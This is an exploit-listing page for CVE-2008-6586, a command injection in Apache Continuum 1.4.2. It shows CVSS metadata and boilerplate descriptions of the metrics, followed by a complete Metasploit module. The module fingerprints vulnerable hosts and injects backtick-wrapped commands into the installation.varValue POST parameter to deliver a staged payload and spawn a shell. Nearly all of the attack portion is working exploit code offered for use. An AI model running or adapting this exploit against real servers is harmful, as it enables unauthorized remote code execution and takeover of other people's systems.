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Apache Continuum 1.4.2 Arbitrary Command Execution

CVE	Category	Price	Severity
CVE-2008-6586	CWE-78	Not specified	High

Author	Risk	Exploitation Type	Date
piki	High	Remote	2016-06-14

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C	0.045	10

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	High	AC	The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016060085

Below is a copy:

Apache Continuum 1.4.2 Arbitrary Command Execution##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Continuum Arbitrary Command Execution',
      'Description'    => %q{
        This module exploits a command injection in Apache Continuum <= 1.4.2.
        By injecting a command into the installation.varValue POST parameter to
        /continuum/saveInstallation.action, a shell can be spawned.
      },
      'Author'         => [
        'David Shanahan', # Proof of concept
        'wvu'             # Metasploit module
      ],
      'References'     => [
        %w{EDB 39886}
      ],
      'DisclosureDate' => 'Apr 6 2016',
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X86_64],
      'Privileged'     => false,
      'Targets'        => [
        ['Apache Continuum <= 1.4.2', {}]
      ],
      'DefaultTarget'  => 0
    ))

    register_options([
      Opt::RPORT(8080)
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/continuum/about.action'
    )

    if res && res.body.include?('1.4.2')
      CheckCode::Appears
    elsif res && res.code == 200
      CheckCode::Detected
    else
      CheckCode::Safe
    end
  end

  def exploit
    print_status('Injecting CmdStager payload...')
    execute_cmdstager(flavor: :bourne)
  end

  def execute_command(cmd, opts = {})
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/continuum/saveInstallation.action',
      'vars_post' => {
        'installation.name'     => Rex::Text.rand_text_alpha(8),
        'installation.type'     => 'jdk',
        'installation.varValue' => '`' + cmd + '`'
      }
    )
  end

end

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